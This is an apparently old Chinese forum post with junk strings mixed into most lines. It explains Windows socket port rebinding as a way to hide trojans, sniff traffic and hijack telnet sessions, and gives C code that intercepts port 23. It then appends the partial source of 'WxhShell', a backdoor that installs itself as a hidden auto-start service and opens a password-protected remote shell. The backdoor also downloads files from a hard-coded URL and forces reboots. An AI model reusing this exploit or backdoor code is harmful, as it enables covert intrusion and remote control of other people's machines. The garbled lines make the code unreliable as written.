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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y[p$/$bgC5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4r[pMJiq  
x}&a{;  
  saddr.sin_family = AF_INET; g&+Y{*Gp  
jD/7/G*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xN3 [Kp  
"f|(@a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /^LH  
%,,`N I{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZSPgci  
r jL?eTU"s  
  这意味着什么?意味着可以进行如下的攻击: f[Fgh@4cj  
vZE|Z[M+<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T+WZE  
h zZ-$IX X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [.;%\>Qk<  
"65||[=8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?Z Rkn+;  
TTZ['HP oI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _7lt(f[S  
>AQ) x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1GG>.RCP  
lMBX!9z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &^&$!Xmu9  
o)tKH@`vE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2"leUur~rO  
19F ;oFp  
  #include sK@Y!oF}\  
  #include r+{d!CHq}  
  #include K[uY+!'1  
  #include    gT(th9'+z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =Y &9 qt  
  int main() x*me'?q  
  { 4<T*i{[  
  WORD wVersionRequested; 'u(=eJ@1  
  DWORD ret; C5es2!^-]O  
  WSADATA wsaData; F1gt3 ae  
  BOOL val; O`i)?BC  
  SOCKADDR_IN saddr;  ofMu3$Q  
  SOCKADDR_IN scaddr; nAo8uWG  
  int err; nTys4 R  
  SOCKET s; g.I(WJX0  
  SOCKET sc; 5^i.;>(b  
  int caddsize; =[]x\&@t  
  HANDLE mt; ?}'N_n ys  
  DWORD tid;   7 9Qc`3a  
  wVersionRequested = MAKEWORD( 2, 2 ); E?Zb~xk  
  err = WSAStartup( wVersionRequested, &wsaData ); 5LQk8NPh  
  if ( err != 0 ) { `FA) om  
  printf("error!WSAStartup failed!\n"); N[qA2+e$Z  
  return -1; + a-wv  
  } ePp[m zg6  
  saddr.sin_family = AF_INET; v:r D3=M-  
   .E+OmJwD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h6u2j p(+  
I&L.;~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )v%l0_z{  
  saddr.sin_port = htons(23); !1a}| !Zn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2E$^_YT C  
  { $!!R:Wn/R  
  printf("error!socket failed!\n"); wgY6D!Y   
  return -1; TC qkm^xv  
  } q*\NRq  
  val = TRUE; lijB#1<8*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u`'ki7LA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .#*D!;f  
  { {7vgHutp  
  printf("error!setsockopt failed!\n"); ~?#~Ar  
  return -1; %'N$l F"]  
  } bb|}'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i<%m Iq1L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L-#e?Y}$J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h`=r )D  
@-0Fe9 n=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (tepmcf  
  { N83!C=X'  
  ret=GetLastError(); }FrEF\}]_7  
  printf("error!bind failed!\n"); ]?[zx'|  
  return -1; 8tU>DJ}0  
  } d] U`?A,  
  listen(s,2); & =G)NeT_  
  while(1) HLVQ7  
  { '|Qd0,Z  
  caddsize = sizeof(scaddr); a$d:_,\ "  
  //接受连接请求 <mL%P`Jj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BU`ckK\(  
  if(sc!=INVALID_SOCKET) 8qn 9|  
  { j(j#0dXLh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w4UD/zO  
  if(mt==NULL) 0!pJ5q ,A  
  { `|nH1sHFq  
  printf("Thread Creat Failed!\n"); sa*g  
  break; tww=~!  
  } eNtf#Rqym  
  } z) :ka"e  
  CloseHandle(mt); vd`O aM}#U  
  } 6,X+1EXY  
  closesocket(s); <Z},A-\S*  
  WSACleanup(); jgG$'|s}  
  return 0; ?=<~^Lk  
  }   P$g^vS+  
  DWORD WINAPI ClientThread(LPVOID lpParam) P>(&glr|  
  { oB p3JX9_f  
  SOCKET ss = (SOCKET)lpParam; tAERbiH  
  SOCKET sc; q]CeD   
  unsigned char buf[4096]; <:">mV+/  
  SOCKADDR_IN saddr; I7~|~<  
  long num; H9U .lb  
  DWORD val; U9 #w  
  DWORD ret; V@[rf<,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O5zE {#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >%u@R3PH]  
  saddr.sin_family = AF_INET; 5Tedo~v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q=WySIF.  
  saddr.sin_port = htons(23); sf$o(^P9\A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t8P PE  
  { PQ$sOK|/  
  printf("error!socket failed!\n"); 5MR,UgT  
  return -1; (-,>qMQs  
  } 7\Co`J>p2  
  val = 100; 1fH<VgF`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \|.7-X  
  { 6kN:*  
  ret = GetLastError(); &kzj?xK=(j  
  return -1; {L].T#  
  } 8#w)X/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iPvuz7j=h  
  {  S(  
  ret = GetLastError(); FH8k'Hxg  
  return -1; d1c0l{JV3  
  } lj4o#^lC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gv|"OlB  
  { ]n;1x1'  
  printf("error!socket connect failed!\n"); D<>@ %"%  
  closesocket(sc); Be2lMC  
  closesocket(ss); rOcg+5  
  return -1; I-DXb M  
  } V%*b@zv  
  while(1) wP<07t[-g  
  { ]A^4}CK^<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $,ikv?"L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'RbQj}@x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q9]IIv  
  num = recv(ss,buf,4096,0); >P=Q #;v  
  if(num>0) "g0(I8  
  send(sc,buf,num,0); 6KRO{QK  
  else if(num==0) .X'pq5  
  break; yCP4r6X0  
  num = recv(sc,buf,4096,0); UE.4q Y_7  
  if(num>0) sILSey5`  
  send(ss,buf,num,0); X!>eiYK)  
  else if(num==0) ;wHCj$q  
  break; QI_4*  
  } ok{!+VCB5  
  closesocket(ss); S\=1_LDx"  
  closesocket(sc); AXPMnbUS  
  return 0 ; H43MoC  
  } Mxl]"?z  
!5Sd2<N  
Lja7   
========================================================== te,[f  
!)pdamdA  
下边附上一个代码,,WXhSHELL Ef)yQ  
(Un_!)  
========================================================== m@Rtlb  
; )Eo7?]-  
#include "stdafx.h" Ii &7rdoxe  
k[kju%i4  
#include <stdio.h> Vsnuy8~k  
#include <string.h> :O= \<t  
#include <windows.h> !mMpb/&&S  
#include <winsock2.h> \ck+GW4&  
#include <winsvc.h> rsXq- Pq*  
#include <urlmon.h> bZ1 78>J]  
E3aDDFDH  
#pragma comment (lib, "Ws2_32.lib") N?P%-/7  
#pragma comment (lib, "urlmon.lib") {{yZ@>o6  
6 #@ f'~s  
#define MAX_USER   100 // 最大客户端连接数 0#*Lw }qi  
#define BUF_SOCK   200 // sock buffer rXfy!rD_P_  
#define KEY_BUFF   255 // 输入 buffer ]#2Y e7+  
qIMA6u/  
#define REBOOT     0   // 重启 XB59Vm0E=  
#define SHUTDOWN   1   // 关机 YXo|~p;=Y  
cLVeT  
#define DEF_PORT   5000 // 监听端口 TuDE@ gq(  
GH1"xR4!  
#define REG_LEN     16   // 注册表键长度 Q'O[R+YT ,  
#define SVC_LEN     80   // NT服务名长度 JM- t<.  
~m^ #FJu  
// 从dll定义API `;l.MZL!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  rl2&^N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,#?uJTLH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L|@y&di  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *3/T;x.  
e [_m< e  
// wxhshell配置信息 4(Iplo*Ys@  
struct WSCFG { M-V&X&?j  
  int ws_port;         // 监听端口 -#!x|ne  
  char ws_passstr[REG_LEN]; // 口令 >K9#3 4hP  
  int ws_autoins;       // 安装标记, 1=yes 0=no b` Hz$8  
  char ws_regname[REG_LEN]; // 注册表键名 l 'DsZ9y@2  
  char ws_svcname[REG_LEN]; // 服务名 /zDi9W*~1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2owEw*5jl/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L@`ouQ"sa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bw%Qbs0Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lKZB?Kk^w\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~vlype3/EF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8{`?= &%6  
: G\<y  
}; Urr#N  
]0hrRA`  
// default Wxhshell configuration g<{xC_J  
struct WSCFG wscfg={DEF_PORT, Wjhvxk  
    "xuhuanlingzhe", EnOU?D  
    1, MUfG?r\t  
    "Wxhshell", xk&Jl#v  
    "Wxhshell", AKMm&(fh%  
            "WxhShell Service", ^WBuMCe  
    "Wrsky Windows CmdShell Service", 0c K{  
    "Please Input Your Password: ", -46C!6a  
  1, #Zrlp.M4  
  "http://www.wrsky.com/wxhshell.exe", E dZ\1'&/9  
  "Wxhshell.exe" g~(E>6Y  
    }; OO[F E3F  
Y%`xDI  
// 消息定义模块 34\(7JO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }!IL]0 q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P(F+f `T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,U(1NK8o  
char *msg_ws_ext="\n\rExit."; S[WG$  
char *msg_ws_end="\n\rQuit."; C8z{XSo  
char *msg_ws_boot="\n\rReboot..."; RV@*c4KvO+  
char *msg_ws_poff="\n\rShutdown..."; Q0EiEX)  
char *msg_ws_down="\n\rSave to "; ?-^~f  
\=_{na_  
char *msg_ws_err="\n\rErr!"; r@ZJ{4\Q  
char *msg_ws_ok="\n\rOK!"; W`c'=c  
qucq,Yw  
char ExeFile[MAX_PATH]; yj^+ G  
int nUser = 0; ~NW32 O)/  
HANDLE handles[MAX_USER]; +TXX$)3%  
int OsIsNt; bw\@W{a%q  
?lP':'P  
SERVICE_STATUS       serviceStatus; lRXK\xIP ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; itC-4^  
..rOsg{  
// 函数声明 VkZ7#  
int Install(void); ;Iq/l%vX  
int Uninstall(void); 9-MUX^?u  
int DownloadFile(char *sURL, SOCKET wsh); i':C)7  
int Boot(int flag); IIbYfPiO  
void HideProc(void); YpqrZWvh  
int GetOsVer(void); -Z's@'*  
int Wxhshell(SOCKET wsl); H)n9O/u  
void TalkWithClient(void *cs); s_mS^`P7  
int CmdShell(SOCKET sock); i-6 Z"b{  
int StartFromService(void); Cg(Y&Gxf.  
int StartWxhshell(LPSTR lpCmdLine); x)@G;nZ  
A{A\RSZ0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6Oy$gW)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aTt 12Sc  
;3@cy|\:  
// 数据结构和表定义 I1X-s  
SERVICE_TABLE_ENTRY DispatchTable[] =  P Y  
{ Y=Kc'x[,Zj  
{wscfg.ws_svcname, NTServiceMain}, ~;N^g4s  
{NULL, NULL} `^)jLuyu  
}; _fKou2$yz  
V;v8=1t!  
// 自我安装 *6 >.!&  
int Install(void) mGK|ihYu  
{ o7$'cn  
  char svExeFile[MAX_PATH]; h D/*h*}T>  
  HKEY key; Fx2bwut.K  
  strcpy(svExeFile,ExeFile); P09;ng67  
5rU[ T ir  
// 如果是win9x系统,修改注册表设为自启动 r4SXE\ G  
if(!OsIsNt) { ~Yy>zUH^X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GaK-t*Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h%uZYsK  
  RegCloseKey(key); ax<?GjpM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4GX-ma,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p"KFJ  
  RegCloseKey(key); W>j!Q^?  
  return 0; }F#okU  
    } j3{D^|0bP  
  } s*-n^o-  
} G U( _  
else { QD0"rxZJ  
%yv<y+yP~  
// 如果是NT以上系统,安装为系统服务 3v1iy / /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'ZDp5pCC;  
if (schSCManager!=0) ,)vDeU  
{ $}!p+$  
  SC_HANDLE schService = CreateService 3`t%g[D1  
  ( 8; 0A g  
  schSCManager, \nPEyw,U  
  wscfg.ws_svcname, Hl{S]]z  
  wscfg.ws_svcdisp, .K1FKC$C  
  SERVICE_ALL_ACCESS, xHD=\,{ig  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )-a'{W/t  
  SERVICE_AUTO_START, [PNT\ElT  
  SERVICE_ERROR_NORMAL, m}7iTDJR9  
  svExeFile, *%%g{ 3$  
  NULL, x-^`~ p  
  NULL, JvVWG'Z"  
  NULL, YQj2  
  NULL, a,k>Q`  
  NULL 9_Be0xgJ3^  
  ); wea-zN  
  if (schService!=0) X\{LnZ@r4  
  { {xXsBh Y  
  CloseServiceHandle(schService); Vex{.Vh,"  
  CloseServiceHandle(schSCManager); t gI{`jS%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fSK]|"c  
  strcat(svExeFile,wscfg.ws_svcname); y1dDO2mA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,-8"R`UI8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9\_eK,*B  
  RegCloseKey(key); |}=acc/  
  return 0; u{['<r;I  
    } 1g8_Xe4  
  } CDQW !XHc  
  CloseServiceHandle(schSCManager); K,+LG7ec  
} _m5uDF?[  
} QdF5Cwf4  
vHry&#Pl+  
return 1; _>(^tCo  
} cW@Zd5&0S  
1w@(5 ^V  
// 自我卸载 7%Gwc?[x  
int Uninstall(void) ,|y:" s  
{ &Sw%<N*r  
  HKEY key; + B B@OW  
lr>oYS0  
if(!OsIsNt) { Ve}(s?hU5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gQWa24  
  RegDeleteValue(key,wscfg.ws_regname);  HN=V"a  
  RegCloseKey(key); $rv8K j+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q=;U@k@>  
  RegDeleteValue(key,wscfg.ws_regname); 2@'oe7E  
  RegCloseKey(key); EofymAi%  
  return 0; ZSjMH .Ij"  
  } 7K,-01-:  
} l?Udn0F  
} {o_X`rgrL  
else { Cl; oi}L  
~zCEpU|@N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %7zuQ \w  
if (schSCManager!=0) b6nsg|&#  
{ Uc7mOa}4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C'\- @/  
  if (schService!=0) .7e2YI,S  
  { q)X$^oE!6  
  if(DeleteService(schService)!=0) { PF)jdcX  
  CloseServiceHandle(schService); 60P#,o@G  
  CloseServiceHandle(schSCManager); }zkHJxZgE  
  return 0; Tl(^  
  } D!{Y$;  
  CloseServiceHandle(schService); 1C}NQ!.  
  } sqEI4~514  
  CloseServiceHandle(schSCManager); SQBa;hvgM  
} }Lc-7[/  
} Y-kt.X/Z-  
k;K)xb[w|  
return 1; Sj]T   
} 5]KW^sL  
diJLZikk  
// 从指定url下载文件 H$=e -L`@  
int DownloadFile(char *sURL, SOCKET wsh) -G}[AkmS  
{ m+`fn;*  
  HRESULT hr; Isvx7$Vu+  
char seps[]= "/"; $7O}S.x  
char *token; ~zHjMo2  
char *file; F_w Z"e6  
char myURL[MAX_PATH]; )WRLBFi3  
char myFILE[MAX_PATH]; `NCwK6/i  
JlH&??  
strcpy(myURL,sURL); 15%w 8u  
  token=strtok(myURL,seps); _-q.Q^  
  while(token!=NULL) tjIl-IQ  
  { {@eJtF+2  
    file=token; {IxA)v-`  
  token=strtok(NULL,seps); _,p/l&<  
  } ^V?<K.F  
.<jr0,i  
GetCurrentDirectory(MAX_PATH,myFILE); ?u{~>  
strcat(myFILE, "\\"); v25R_""~  
strcat(myFILE, file); iP =V8g?L  
  send(wsh,myFILE,strlen(myFILE),0); U &C!}  
send(wsh,"...",3,0); ( }{G`N>.{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2/vMoVT,  
  if(hr==S_OK) =d".|k  
return 0; &M46&^Jho  
else #xho[\  
return 1; &ib5* 4!  
g<l1zo`_  
} C`$n[kCJ  
kh {p%<r{  
// 系统电源模块 < vL,*.zd  
int Boot(int flag) r"C  
{ 6VS4y-N  
  HANDLE hToken; n,jKmA  
  TOKEN_PRIVILEGES tkp; _2h S";K  
[<2<Y  
  if(OsIsNt) { 5*+!+V^?X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e5*ni/P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O~T@rX9f  
    tkp.PrivilegeCount = 1; Lhl]g^SN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *AG#316  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a6D &/8  
if(flag==REBOOT) { wLi4G@jJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ".W8)  
  return 0; igIRSN}h  
} RTE8Uq36  
else { tQ8.f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m+b):  
  return 0; gnFr}L&j  
} + ,%&e  
  } Ir {OheJ  
  else { \?Z{hmN  
if(flag==REBOOT) { 6hlc1?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R@/"B8H  
  return 0; ).Fpgxs  
} mR&H9 NG  
else { =8t]\Y?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :# .<[  
  return 0; [Yo,*,y31  
} (a[y1{DLy  
} K@sV\"U(*E  
C69q&S,  
return 1; Hw7;;HK 7  
} !zkZQ2{Wn  
Hc>m;[M)l  
// win9x进程隐藏模块 uEktQ_u[  
void HideProc(void) ,5|&A  
{ v16 JgycM  
6%t1bM a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v K9E   
  if ( hKernel != NULL ) qu-B| MuOa  
  { X WUWY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qT%FmX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); { vKLAxc  
    FreeLibrary(hKernel); %5eY'  
  } /DK"QV!]s  
&7`^i.fh)  
return; %e-7ubW  
} JBi*P.79^  
X'd9[).  
// 获取操作系统版本 XiL~TCkx4  
int GetOsVer(void) F$ #U5}Q  
{ ht2\y&si  
  OSVERSIONINFO winfo; ()5[x.xK@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =<{np  
  GetVersionEx(&winfo); ?$*SjZt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L\@I*QP  
  return 1; eM$sv9?  
  else Jth[DUH8H  
  return 0; 5_- (<B  
} `-(|>5wWS  
} ud0&Oe{  
// 客户端句柄模块 E7.2T^o;M  
int Wxhshell(SOCKET wsl) znxnL,-  
{ .@(6Y<dN  
  SOCKET wsh;  swK-/$#  
  struct sockaddr_in client; V!lZ\)  
  DWORD myID; ]^lw*724'>  
}|g\ 8jq  
  while(nUser<MAX_USER) VHCK2}ps  
{ ;D:9+E<>a  
  int nSize=sizeof(client); PcA2/!a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MRb-H1+Xf  
  if(wsh==INVALID_SOCKET) return 1; P{wF"vf  
TygW0b 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t=Xv;=daB  
if(handles[nUser]==0) I1pWaQ0  
  closesocket(wsh); *M:B\ D  
else N'^&\@)xiU  
  nUser++; q1Q L@Ax  
  } H@q?v+2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1guJG_;z  
77\] B  
  return 0; &3bx `C  
} k< y>)  
,1[q^-9  
// 关闭 socket GT0Of~?f  
void CloseIt(SOCKET wsh) y+"X~7EX  
{ D|e uX7b  
closesocket(wsh); {u#;?u=|  
nUser--; 9y<*8bI   
ExitThread(0); ;1%-8f:lW  
} nEJY5Bz$  
sg$rzT-S4  
// 客户端请求句柄 7R6ry(6N  
void TalkWithClient(void *cs) 9{ >Ui  
{ .(^ ,z&  
thifRd$4  
  SOCKET wsh=(SOCKET)cs; +VO-oFE|  
  char pwd[SVC_LEN]; 9%B\/&f  
  char cmd[KEY_BUFF]; >'&p>Ad)  
char chr[1]; xa<UM5eI  
int i,j; K i'Fn"  
3Nq N \5B:  
  while (nUser < MAX_USER) { v":x4!kdX  
9s6U}a'c  
if(wscfg.ws_passstr) { "#{4d),r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); umt.Um.m2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~N<4L>y<  
  //ZeroMemory(pwd,KEY_BUFF); W g02 A\  
      i=0; >zXsNeGQR  
  while(i<SVC_LEN) { y CVI\y\B  
%M7` Hwu  
  // 设置超时 8W,Jh8N6  
  fd_set FdRead; }a/x._[s  
  struct timeval TimeOut; ^(f"v e#7v  
  FD_ZERO(&FdRead); EfCx`3~EX  
  FD_SET(wsh,&FdRead); -o $QS,  
  TimeOut.tv_sec=8; D-5VC9{  
  TimeOut.tv_usec=0; Rb%8)t x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YoBPLS`K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @ycDCB(D}  
kBD>-5Sn_T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =;2%a(  
  pwd=chr[0]; Z0Vl+  
  if(chr[0]==0xd || chr[0]==0xa) { .J)I | '  
  pwd=0; __|+w<]  
  break; 0n;< ge&~R  
  } ] 6TATPIr  
  i++; =a@j=  
    } _"bHe/'CI  
+l9!Fl{MK\  
  // 如果是非法用户,关闭 socket @?yX!_YC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ji>o!  
} '>cKH$nVC}  
_B/ dWA,P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NQ(1   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G Uon/G8  
cx&>#8s&  
while(1) { ST:A<Da"  
C8Qa$._  
  ZeroMemory(cmd,KEY_BUFF); yku5SEJ\  
WvBc#s-  
      // 自动支持客户端 telnet标准   =5/9%P8j9  
  j=0; 9Iwe2lu  
  while(j<KEY_BUFF) { 1IC~e^"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JBE!j-F  
  cmd[j]=chr[0]; y\Ic@-aWI  
  if(chr[0]==0xa || chr[0]==0xd) { ==3dEJS  
  cmd[j]=0; WD]p U  
  break; K/i*w<aPb7  
  } *h!28Ya(~  
  j++; bwD,YC  
    } ="Ho%*@6  
E"qRw_ ~t  
  // 下载文件 *>|gxM8  
  if(strstr(cmd,"http://")) { qf!p 9@4F[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p "n$!ilbm  
  if(DownloadFile(cmd,wsh)) tzZ`2pSh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wy0tgy(' |  
  else i V'k}rXC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /{+y2.{j  
  } v!<gY m&  
  else { sf)EMh3Z  
!W5 (  
    switch(cmd[0]) { $c 0h. t  
  piPR=B+  
  // 帮助 . $BUw  
  case '?': { ABQ('#78  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =]6%G7T  
    break; }4 )H   
  } DJ'zz&K  
  // 安装 1_9<3,7  
  case 'i': { Q.l}NtHwV  
    if(Install()) A#.edVj.g4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R=gb'  
    else kW;+|qs^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,K9*%rW)  
    break; pT=JP> nd^  
    } ZA0mz 65  
  // 卸载 j[`j9mM8  
  case 'r': { w>pq+og&  
    if(Uninstall()) :r{<zd>;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vB.E3r=  
    else d,+Hd2o^X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  gbF+WE  
    break; \.MR""@y`{  
    } z@!`:'ak  
  // 显示 wxhshell 所在路径 %j.0G`x9 +  
  case 'p': { B3We|oe!  
    char svExeFile[MAX_PATH]; 1eS&&J5  
    strcpy(svExeFile,"\n\r"); 3{'Ne}5%I  
      strcat(svExeFile,ExeFile); 9IjIIM2y  
        send(wsh,svExeFile,strlen(svExeFile),0); ^q{9  
    break; NjVYLn<.r  
    } _K]_ @Ivh  
  // 重启 EMY/~bQW  
  case 'b': { zr-*$1eu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +"rDT1^V  
    if(Boot(REBOOT)) tr<Nm6!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gr*r=s  
    else { d' !]ZWe  
    closesocket(wsh); B^4&-z2|  
    ExitThread(0); u(@$a4z  
    } g%sluT[#  
    break; Q_"]+i]s@  
    } uGwm r  
  // 关机 KaPAa:Q  
  case 'd': { @5N]ZQ9  
